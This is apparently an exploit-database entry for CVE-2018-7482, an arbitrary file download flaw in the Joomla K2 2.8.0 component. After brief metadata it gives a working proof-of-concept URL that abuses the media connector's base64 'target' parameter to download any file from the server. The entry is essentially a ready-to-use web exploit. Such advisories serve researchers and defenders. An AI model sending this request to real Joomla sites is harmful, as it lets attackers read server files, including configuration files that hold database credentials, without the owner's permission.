Joomla! K2 2.8.0 Arbitrary File Download

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# Exploit Title: Joomla! Component K2 2.8.0 - Arbitrary File Download  
# Dork: N/A  
# Date: 26.02.2018  
# Vendor Homepage: http://www.joomlaworks.net/  
# Software Link: https://extensions.joomla.org/extensions/extension/authoring-a-content/content-construction/k2/  
# Software Download: https://getk2.org/downloads/?f=K2_v2.8.0.zip  
# Version: 2.8.0  
# Category: Webapps  
# Tested on: WiN7_x64/KaLiLinuX_x64  
# CVE: CVE-2018-7482  
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# Exploit Author: Ihsan Sencan  
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# POC:   
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# The vulnerability allows an users to arbitrary download files..  
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# 1)  
# http://localhost/[PATH]/index.php?option=com_k2&view=media&task=connector&cmd=file&target=l1_[FILE_BASE64]&download=1&[TOKEN]=1  
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